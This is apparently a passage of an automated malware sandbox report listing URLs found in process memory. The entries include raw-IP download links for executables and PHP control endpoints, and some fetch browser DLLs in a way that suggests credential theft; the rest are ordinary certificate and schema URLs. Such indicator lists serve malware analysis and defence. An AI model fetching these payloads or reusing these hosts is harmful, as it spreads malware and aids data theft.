Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e197066b3e8_xin.exe#xinC:
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e197066b3e8_xin.exe#xinSK
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e197066b3e8_xin.exe#xinh
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e197066b3e8_xin.exe#xinm.exe
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e197066b3e8_xin.exe#xinq
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A13000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2110880630.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e19745cc64e_crypted.exe#1
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e19745cc64e_crypted.exe#18z
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e19745cc64e_crypted.exe#1C:
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e19745cc64e_crypted.exe#1Hz0
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e19745cc64e_crypted.exe#1Z(w
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66e19745cc64e_crypted.exe#1e#pendus
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.187/avoufshire.exe
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.187/avoufshire.exe4_
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.187/avoufshire.exeC:
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2110880630.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/ssl/install.exe
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/ssl/install.exeC:
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/ssl/install.exehjfehfue
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000013FE000.00000004.00000020.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.00000000007FC000.00000040.00000001.01000000.00000012.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.00000000007C1000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.103
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/0d60be0de163924d/freebl3.dll
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000013FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/0d60be0de163924d/mozglue.dll
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/0d60be0de163924d/mozglue.dlla
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/0d60be0de163924d/msvcp140.dll
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/0d60be0de163924d/msvcp140.dllX
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/0d60be0de163924d/nss3.dll
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2974940375.0000000029AF0000.00000004.00000020.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/0d60be0de163924d/softokn3.dll
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/0d60be0de163924d/softokn3.dllz
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp, Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.000000000082A000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.103/0d60be0de163924d/sqlite3.dll
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/0d60be0de163924d/sqlite3.dll5
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000013FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/0d60be0de163924d/sqlite3.dllC
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/0d60be0de163924d/vcruntime140.dll
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/0d60be0de163924d/vcruntime140.dllcg
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/0d60be0de163924d/vcruntime140.dllevi?
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/0d60be0de163924d/vcruntime140.dllten
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2974940375.0000000029B72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/e2b1563c6670f193.php
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/e2b1563c6670f193.php&
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/e2b1563c6670f193.php))3
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2974940375.0000000029B72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/e2b1563c6670f193.php3O
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2974940375.0000000029B72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/e2b1563c6670f193.php5
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2974940375.0000000029B72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/e2b1563c6670f193.phpT
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/e2b1563c6670f193.phpY(
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/e2b1563c6670f193.phpZe
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000013FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/e2b1563c6670f193.phpcal
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.00000000007C1000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.103/e2b1563c6670f193.phpion:
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/e2b1563c6670f193.phpj
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/e2b1563c6670f193.phpnfigOverlay
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2974940375.0000000029B72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/e2b1563c6670f193.phpp
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/e2b1563c6670f193.php~
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001445000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/ocal
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/q
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000013FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103E
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.00000000007C1000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.103GIDBG--
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.113.116.202/
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.113.116.202/api/crazyfish.php
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.113.116.202/api/crazyfish.php9
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240902180529931.tyr.zont16.com/f/fikbam0902931.exe
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240902180529931.tyr.zont16.com/f/fikbam0902931.exeC:
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240902180529931.tyr.zont16.com/f/fikbam0902931.exeI
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240902180529931.tyr.zont16.com/f/fikbam0902931.exeg
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240902180529931.tyr.zont16.com/f/fikbam0902931.exei
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://240902180529931.tyr.zont16.com/f/fikbam0902931.exes)
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039C2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.9/doku/burda.exe
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.9/doku/burda.exe?
Source: RegAsm.exe, 00000001.00000002.2113898580.00000000039B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.9/doku/burda.exeC:
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.9/doku/burda.exefeoihjfehfue
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135//(
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/crazyfish.php
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2110880630.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/twofish.php
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/twofish.phpAf
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/twofish.phpd
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/twofish.phpmf
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/bZ
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/s7
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000EC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135:80/api/crazyfish.phpWf
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135:80/api/twofish.php
Source: RegAsm.exe, 00000001.00000002.2110880630.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135:80/api/twofish.phpVf
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: DUGO48VDeAcOvTvqkkCJ3EIG.exe, 00000008.00000002.2120856271.000000000041F000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: DUGO48VDeAcOvTvqkkCJ3EIG.exe, 00000008.00000002.2120856271.000000000041F000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: DUGO48VDeAcOvTvqkkCJ3EIG.exe, 00000008.00000002.2120856271.000000000041F000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: DUGO48VDeAcOvTvqkkCJ3EIG.exe, 00000008.00000002.2120856271.000000000041F000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 2Su0FBbBo66AP291hju1uAp_.exe, 00000005.00000002.2178102890.0000000003A1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gacan.zapto.org_DEBUG.zip/c
Source: DUGO48VDeAcOvTvqkkCJ3EIG.exe, 00000008.00000000.2060978877.0000000000408000.00000002.00000001.01000000.00000009.sdmp, DUGO48VDeAcOvTvqkkCJ3EIG.exe, 00000008.00000002.2120821607.0000000000408000.00000002.00000001.01000000.00000009.sdmp, YPlv8euR9KnvHnqn8UAA5AHQ.exe, 00000012.00000000.2063648615.0000000000408000.00000002.00000001.01000000.00000015.sdmp, YPlv8euR9KnvHnqn8UAA5AHQ.exe, 00000012.00000002.2117173863.0000000000408000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: DUGO48VDeAcOvTvqkkCJ3EIG.exe, 00000008.00000002.2120856271.000000000041F000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: DUGO48VDeAcOvTvqkkCJ3EIG.exe, 00000008.00000002.2120856271.000000000041F000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: DUGO48VDeAcOvTvqkkCJ3EIG.exe, 00000008.00000002.2120856271.000000000041F000.00000004.00000001.01000000.00000009.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/aFChunk
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/attachedTemplate
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/calcChain
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/chartUserShapes
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/chartsheet
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/commentAuthors
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/comments
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/connections
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/control
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/customProperties
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/customProperty
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/customXml
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/customXmlProps
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/diagramColors
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/diagramData
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/diagramLayout
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/diagramQuickStyle
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/dialogsheet
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/drawing
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/endnotes
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/extendedProperties
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/externalLink
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/externalLinkPath
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/fontTable
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/footnotes
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/glossaryDocument
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/handoutMaster
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/htmlPubSaveAs
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/hyperlink
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/mailMergeHeaderSource
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/mailMergeRecipientData
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/mailMergeSource
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/metadata/thumbnail
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/notesMaster
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/notesSlide
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/numbering
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/officeDocument
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/oleObject
Source: file.exe, 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/ooxml/officeDocument/relationships/package
